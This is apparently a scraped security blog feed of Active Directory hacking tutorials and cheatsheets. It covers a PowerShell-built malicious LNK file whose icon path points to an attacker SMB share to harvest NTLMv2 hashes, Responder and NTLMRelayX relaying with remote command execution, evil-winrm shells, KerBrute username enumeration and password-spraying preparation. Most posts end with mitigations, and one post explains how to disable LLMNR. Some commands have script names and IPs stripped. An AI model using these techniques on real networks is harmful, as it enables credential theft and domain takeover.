Tips & Tricks

How to Export List of Domain Users in Active Directory Without AD Cmdlets

If you find yourself on a workstation that doesn’t have AD Cmdlets installed, you won’t be able to run things like “Get-ADUser. However, you can use the following commands in PowerShell to output a list of domain users and format it in a way that is helpful for password spraying attacks.

# store the results in an array.
$results = net group "Domain Users" /domain

# the size of the header and footer is always the same. select the data between these sections.
$results = $results[8..($results.Length-3)]

# replace the empty spaces with a comma. join on the comma, getting rid of blank lines.
foreach($result in $results) { 
    ($result -replace '\s+',',') -split ',' | ? { $_ } >> 'adusers.txt'

Hacking Tutorial

Attacking Active Directory and Open File Shares: Capturing Password Hashes via Malicious LNK Files

If you’ve seen any of my other guides on attacking Active Directory, you’ll have noticed that I love using Responder or Inveigh to capture NTLMv2 hashes. In this tutorial, we’re still going to leverage these tools, but we’re going to force users to send us their hash in a bit different of a way.

Table of Contents:

  • Overview of the Attack
  • Topology of the Network
  • Performing the Attack
  • How Do We Mitigate This?

Overview of the Attack

What is it?

Using PowerShell, we’re able to create our own .lnk file that contains a poisoned icon path. By directing users to a remote SMB share as the file location of the thumbnail, we’re able to force users who access this file share to reach out and make an authentication request to a location that we control.

When can attackers use this?

This attack vector is especially useful in cases where you’ve obtained write access to a publicly accessible file share. If you can drop a specially crafted .lnk file in a location with high traffic, you should be able to capture a large number of NTLMv2 hashes for multiple users.

This can be further chained with SMB Relay attacks in the event that there are machines in the environment with SMB Signing disabled.

Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

  • Acts as the domain controller.
  • Has a FQDN of
  • IP address is
  • Hosts up a file share at \\King\Share

First Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kBryant domain user.
  • IP address is
  • O:\ drive is mapped to \\King\Share

Second Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kIrving domain user.
  • IP address is
  • O:\ drive is mapped to \\King\Share

Attacker Kali Linux:

  • Not domain joined.
  • IP address is

Performing the Attack

To begin, we need to first create our malicious .lnk file. Since we’ll be using PowerShell, you’ll need access to a Windows machine to generate the file, but it does not need to be domain-joined to the target network.

In a PowerShell prompt, we will create our malicious .lnk file using the following commands:

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Malicious.lnk")
$lnk.TargetPath = "\\<attackerIP>\@threat.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the dir this file lives in will perform an authentication request."
$lnk.HotKey = "Ctrl+Alt+O"

Once the commands are ran, it should generate a file to C:\Malicous.lnk. When a user browses to this file, the thumbnail will attempt to load an icon from \\<attackerIP>\@threat.png. This image obviously doesn’t exist, but we can leverage this connection attempt create a challenge that accepts a NTLMv2 hash.

We’ll now rename this file to include an @ symbol in the beginning and give it a less suspicious name. This will force the file to show up at the top of the file-share, which should increase the chances that users browse across it.

Finally, we’ll copy it down to the target network and drop it into a public file share.

With our file planted, let’s head over to our Kali instance, change into our Responder directory, and start up our listener. If you don’t know what this is, check out my guide on LLMNR poisoning at Abusing LLMNR/NBT-NS in Active Directory Domains: Part 1 (Capturing NTLMv2 Hashes).

cd /opt/Responder
sudo python -I eth0

Now, let’s simulate a user browsing to this file share. From one of the domain-joined machines, we’ll navigate to the O:\ drive like a real user would do. Right away, we’re able to capture that user’s NTLMv2 hash.

This will continue until the file is removed from the server, which could allow an attacker the ability to capture a large number of NTLMv2 hashes before getting busted.

How Do We Mitigate This?

  • Egress firewall rules. If SMB connections (ports 445 and 139) are not allowed outbound, the attacker would never be able to challenge the request and capture the NTLMv2 hashes of the users.
  • Strict file share permissions. File shares should never allow for anybody to write to them. Users that need write access should be very limited in terms of which directories they can write in, and the principal of least privilege should always be followed.
  • Enforce SMB Signing. While this won’t prevent the attack from occurring, it will limit the impact. If SMB Signing is not required across the network, attackers can easily relay these hashes to authenticate to machines across the domain.
  • Strong Password Policy. Surely you know by now that this is a must-have. A strong password could make these captured hashes useless if SMB Signing is enforced and the hashes are uncrackable.

Enumeration Cheatsheets

Enumerating WinRM (Port 5985)

This post intends to provide a list of helpful commands and tools that you can use when enumerating Port 5985 on a machine. This list is far from exhaustive and will be updated as time progresses.

Getting a Shell w/ EvilWinRM

You can download this tool from Github at the following location.

With that tool in hand, we can run the following command to gain a shell as long as you know valid user credentials.

./evil-winrm.rb -u <userAccount> -p <userPassword> -i <targetIP>

Enumeration Cheatsheets

Enumerating DNS (Port 53)

This post intends to provide a list of helpful commands and tools that you can use when enumerating Port 53 on a machine. This list is far from exhaustive and will be updated as time progresses.

Enumerating Hostname of Server

Run the following commands to see if you can make the server leak its own hostname.

server <targetIP>


Note: It’s probably worth enumerating other live hosts on the network to confirm the domain name is the same.

Performing DNS enumeration with Nslookup

To perform a lookup of the A records against a particular domain:
nslookup <targetDomain>

To look up the mail records:
nslookup -query=mx <targetDomain>

To look up Nameservers:
nslookup -query=ns <targetDomain>

To get all records that are available:
nslookup -query=any <targetDomain>

You can also drop into nslookup with no parameters interactively.

While interactively working with nslookup, you can set your query:
set q=mx

You can also set your server if you wanted to query a different DNS server than your default one:

Performing DNS enumeration with Dig

To extract A records and Namerservers of a domain:
dig <targetDomain>

To query just A records:
dig <targetDomain> A

You can also limit the output to a specific record, and just return the answer section:
dig +nocmd <targetDomain> MX +noall +answer

Can attempt a DNS Zone transfer:
sudo dig @<targetDNSServer> <targetDomain> -t AXFR +nocookie

To see more about a DNS Zone Transfer, see

Automating DNS Enumeration

Fierce can be used to enumerate subdomains, IP ranges, and hostnames by using public DNS queries, zone transfer attempts, and brute forcing techniques.
fierce -dns <targetDomain>

You can also specify a specific DNS server for the tool to use.
fierce -dns <targetDomain> -dnsserver <targetNamserver>

We can also leverage a tool called DNSEnum to do something similar. It will look for the A records of the target domain, looks up the NS and MX records. Finally, it will attempt a zone transfer attack.
dnsenum <targetDomain>

You can also specify a specific DNS server for the tool to use. Sometimes the results will differ.
dnsenum <targetDomain> --dnsserver <targetNamserver>

You can use DNSEnum to brute force subdomains as well.
dnsenum <targetDomain> -f <dictionaryList>

DNSMap can also be used, but it doesn’t do much other than brute-force with a built-in wordlist.
dnsmap <targetDomain>

DNSRecon is an ‘all-in-one’ tool that can do most everything.
dnsrecon -d <targetDomain>

Using DNSRecon to enumerate hostnames within local subnet.

We can use dnsrecon to attempt a “brute-force” attack by querying IP addresses for associated reverse lookup records.

-n : Will be the nameserver to use.
-r : Will be the network “range” that you want to lookup records for.
--db : Will save the found records to a SQLite DB file.

dnsrecon -n <ipAddr> -r <subnet> --db target.db

If you are unsure of any information, or even what network(s) to perform the lookup for, you can create a bash script that contains multiple commands. For example, we could create that contains the following:

dnsrecon -n -r --db target.db
dnsrecon -n -r --db target.db
dnsrecon -n -r --db target.db

Running this script will enumerate all possible internal IPs for associated hostname records.

Additional Enumeration Techniques

Update your /etc/resolv.conf file so that you use the target as a DNS server. See what hostnames you can enumerate.

Enumeration Cheatsheets

Enumerating LDAP Port (389)

This post intends to provide a list of helpful commands and tools that you can use when enumerating Port 389 on a machine. This list is far from exhaustive and will be updated as time progresses.

Let’s start by performing a search with simple authentication:

ldapsearch -h <targetIP> -x

If you get results back, let’s run the following command to try and get additional details out.

ldapsearch -h <targetIP> -x -s base namingcontexts

Based on the results, you’ll want to extract details about the primary Domain Component. For example, based on the above output, our next command would look like this.

ldapsearch -h <targetIP> -x -b "DC=htb,DC=local"

This should output a ton of information that you can then redirect to a file. If you do redirect to a file, the following commands may be helpful for extracting specific details.

cat ldap-anonymous.out | grep -i CN=
cat ldap-anonymous.out | grep -i member
cat ldap-anonymous.out | grep -i memberof
cat ldap-anonymous.out | grep -i user

Applying Filters to Queries

If you wanted to query LDAP directly, you can do so by adding your query to the end of your ldapsearch command. For example, we can find details of objects that have a class of “Person” by running the following command:

ldapsearch -h <targetIP> -x -b "DC=htb,DC=local" '(objectClass=Person)'

We can also just extract specific details about those that have a class of Person. For example, we could extract just the SAMAccountName and type.

ldapsearch -h <targetIP> -x -b "DC=htb,DC=local" '(objectClass=Person)' sAMAccountName sAMAccountType

Using this method is a great way to create a list of users that you can then use for Password Spraying attacks.

Tips & Tricks

Extracting Password Policy From Domain Machines

Before you start a Password Spraying or Brute Force attack, you always want to check what the password policy is first so you don’t start locking accounts out. This post intends to serve as a guide that lists a handful of ways to enumerate this.

Using CrackMapExec:

crackmapexec smb <targetIP> --pass-pol

If that doesn’t work, you can attempt again with a null authentication attempt by using the following. This typically works when a domain has been upgraded from 2003:

crackmapexec smb <targetIP> --pass-pol -u '' -p ''

Using Enum4Linux:

enum4linux <targetIP>

Using RPCClient:

If the below works, then we may be able to utilize RPC commands to extract details about the user and password policies.

rpcclient -U '' <targetIP>

Using PowerShell:

General Blog

Disabling LLMNR and NBT-NS in Your Network

I’ve made a handful of articles on attacking LLMNR within Active Directory environments, but I’ve never made anything that helps IT Admins mitigate this vulnerability. This post intends to serve as a guide for patching this vulnerability that is enabled by default in Windows.

Keep in mind that we need to not only disable LLMR, but also NBT-NS.

Table of Contents:

  • What is LLMNR & NBT-NS?
  • Great! So how can I exploit this?
  • Eek. So how do we patch this?
    • Disable LLMNR via Group Policy
    • Disable LLMNR via Command Line
    • Disable NBT-NS via Registry
    • Disable NBT-NS via PowerShell

What is LLMNR & NBT-NS? does a fantastic job at giving you a high-level overview of what NetBIOS & link-local multicast name resolution do. Instead of reinventing the wheel, I will simply provide an excerpt from their website below.

“NetBIOS and LLMNR are protocols used to resolve host names and facilitate communication between hosts on local networks. NetBIOS is generally outdated and can be used to communicate with legacy systems. LLMNR is designed for consumer-grade networks in which a domain name system (DNS) server might not exist.”

If none of this sounds familiar, I highly recommend checking out the below link and reading more about these protocols before moving on.

Great! So how can I exploit this?

When a computer requests access to a legitimate network resource, it usually follows a set of pre-defined queries. LLMNR and NetBIOS come into play as last resort options when other methods (such as DNS or local hosts files) don’t prove helpful. Since LLMNR & NetBIOS will attempt name resolution via broadcasted requests to the broadcast-domain, we can set up tools to listen for these requests and respond back pretending to be the intended recipient.

Name Resolution Response Attack

If you’re interested in learning how attackers abuse this protocol, check out one of my guides below.

Eek. So how do we patch this?

Disable LLMNR via Group Policy

In Windows Active Directory, resolving this problem is as simple as applying a GPO. Sign into your Domain Controller and navigate to the Group Policy Management Editor. You’ll want to right click on your FQDN and select Create a GPO in this domain, and Link it here.

Go ahead and give it a name and click OK.

Then you’ll want to right-click on it and select Edit.

Now we just need to navigate to the following policy.

Computer Configuration -> Administrative Templates -> Network -> DNS Client -> Turn Off Multicast Name Resolution

Enable the policy by changing its value to Enabled.

Disable LLMNR via PowerShell / Command Line

But what do you do if you aren’t working with a Windows Active Directory domain? You can still patch this problem using the command line.

REG ADD  “HKLM\Software\policies\Microsoft\Windows NT\DNSClient”
REG ADD  “HKLM\Software\policies\Microsoft\Windows NT\DNSClient” /v ” EnableMulticast” /t REG_DWORD /d “0” /f

Disable NBT-NS via Registry

Open the registry by typing Regedit in the run dialogue. Navigate to registry key at the following location.


From here, we’ll be presented with multiple keys, each represents a network interface. You’ll want to adjust the NetbiosOptions value on each from the default of zero, to a value of 2.

Disable NBT-NS via PowerShell

To take care of the above mention step via PowerShell, you can run the following commands.

$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey |foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}

That’s it! You should be all set.

Hacking Tutorial

Enumerating Valid Active Directory Usernames with KerBrute

When you come in contact with a Windows domain, you may want to try and leverage Password Spraying attacks (really, you should –they’re super effective). But how do you get a valid list of usernames to load into your password sprayer?

Downloading the Tool

You could leverage a tool called KerBrute to pull this off. A quick Google search on this tool returns the following Github page.

You can also download precompiled binaries from the following.

Setting Up our Attack

With the tool in hand, we can view the help documentation.

Now we just need to prepare a list of users to enumerate. If you’ve already started to find usernames around the network, you can make your own customer user list. Otherwise, you can leverage something from the seclists usernames list, which can be downloaded at the following page.

The syntax for the command is very straightforward.

sudo ./kerbrute userenum -d <domain> <userList>

And just like that, we can see that all of the usernames we provided in our file are valid!

Note: It may be worthwhile to add a “known invalid” username to your userlist, just to make sure the server isn’t configured to respond stating all users are valid, whether or not that is true.

Tips & Tricks

Changing Active Directory Password Using smbpasswd

If you’re able to get valid user credentials, but you’re unable to login because the password has expired and/or needs to be changed, you can leverage this tool in Kali Linux.

smbpasswd -U <username> -r <domainController>

Note: You can use either the FQDN of the Domain Controller, or it’s IP address.

This tool will prompt you for the current password of the user, along with what password you desire.

Hacking Tutorial

Abusing LLMNR/NBT-NS in Active Directory Domains: Part 3 (Relaying Net-NTLM Hashes w/ Responder & NTLMRelayX)

Other Parts in Series:

In this guide, I will show you how to take these captured NTLMv2 hashes and relay them to vulnerable machines on the same network, completely bypassing the need to crack them!

Part 3 Table of Contents:

  • Wait, Am I Relaying or Passing?
  • Overview of the Attack
  • Let’s Talk Prereqs
  • Topology of the Network
  • Setting up the Attack
  • Performing the Attack
  • Mitigation

Wait, Am I Relaying or Passing?

Before we dive in too deep, I do want to take a moment to clarify the difference between relaying a captured hash, and passing a captured hash.

  • You CAN perform Pass-The-Hash attacks with NTLM hashes.
  • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

So where do you get a NTLM hash? These are the type of hashes that are captured when you use a tool like to extract the contents of a SAM database. These type of hashes are stored on a system and cannot be relayed over the network. However, you can take a hash in this format and “pass” it to another machine using a tool like PTH-WinExe. While it’s not a full blown tutorial, you can read more about using this tool in a post I made titled Popping Remote Shells w/ winexe & pth-winexe on Windows.

Net-NTLM, cannot be passed around the network. This means in order to use this type of hash to authenticate to another machine, you must capture this hash while it is in transit, and then relay it to a destination that you control. Showing how to do this is the purpose of today’s guide.

Overview of the Attack

If you’ve gone through my previous guides, you already know that we can use a tool called Responder to be intercept any LLMNR broadcasts on the network. By responding to these requests, we are able to capture Net-NTLM hashes from the user account that initiates the request.

Relaying this hash uses the same method, except instead of presenting the hash to us as the hacker, we relay it to a different machine that we’d like to get control of. As long as the hash we captured belongs to a user with admin rights on our destined machine, we should be able to get command execution to take control of it.

Let’s Talk Prereqs

Alright so we know that we must relay a Net-NTLM hash, but what else is required for this attack to work?

  • You must be on the same network as the victim(s). This means that if your attacking machine is in a different subnet/broadcast domain, you will be unable to capture the Net-NTLM hash.
  • LLMNR must be enabled in the network (enabled by default).
  • SMB Signing must be disabled or not required on the target machine. This is the default configuration for most Windows desktop operating systems. Windows Servers will usually have SMB Signing enabled and enforced by default.
  • The Net-NTLM hash that you capture must belong to an elevated user on the target machine in order for you to get command execution.

Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

  • Acts as the domain controller.
  • Has a FQDN of
  • IP address is

First Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kBryant domain user.
  • IP address is

Second Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kIrving domain user.
  • IP address is

Attacker Kali Linux:

  • Not domain joined.
  • IP address is

Setting up the Attack

To begin, let’s head over to our Responder directory. I like to store mine in /opt.

cd /opt/Responder

Find the Responder.conf file and edit it using your favorite text editor. In order for us to run NTLMRelayX later, we’ll need to turn off the SMB and HTTP servers. If we don’t take this step, NTLMRelayX will be unable to utilize these protocols later.

With those servers disabled, we’re ready to fire up Responder. You’ll need a few flags for this to work correctly.

-I : Used to provide the interface that we’re going to listen on.

-r : Enable answers for netbios wredir suffix queries.

-d : Enable answers for netbios domain suffix queries.

sudo python -I eth0 -r -d -w

With Responder running, we need to now configure NTLMRelayX so that we can forward any captured Net-NTLM hashes to a target of our choosing. We’ll start by changing into the impacket directory and then use a command similar to the one below.

cd /opt/impacket

sudo -t <targetIP> -smb2support

Note: Instead of targeting just a single machine, you could also use the -tf targets.txt flag to provide a list of targets.
Note: You’ll need to include the -smb2support flag unless the machine you’re targeting supports SMBv1.

With both commands running, we finally have our attack setup.

Performing the Attack

At this point we have everything set up. Now we just need to sit back and wait for LLMNR to do it’s thing. If we wanted to give it a little push, we could manually browse to a file share that doesn’t exist from a machine that differs from who we are targeting.

At this point, the hash of the user account we issued that request from would be captured and then relayed to our specified target(s). If this user happens to be a local administrator account, NTLMRelayX will dump the SAM database by default.

If we wanted to get more creative, we could also use the -c flag to specify a command to run. Combine this with your favorite C2 launcher (perhaps Covenant), and you’ve got some real nasty stuff going on here.

As a quick proof of concept, I’ll just issue a basic whoami command.

sudo -t <target> -smb2support -c "whoami"


There are a few ways to mitigate this attack vector.

  1. Disable the LLMNR protocol in your environment. If this wasn’t running to begin with, we wouldn’t be able to capture the Net-NTLM hash so easily. However, this isn’t fool proof as there are other ways to intercept these hashes in a network.
  2. Enable and Enforce SMB Signing. This attack requires SMB Signing to be Not Enforced in order to work successfully against the target machines. By default, SMB Signing is typically enabled on Windows Server operating systems, but disabled on Windows Desktops.
  3. Don’t give users local admin rights, especially not on multiple machines. If we are unable to capture elevated user hashes, we’re unable to get command execution on the target machines.

More to come on mitigation in the future, including step by step instructions on creating and configuring GPOs.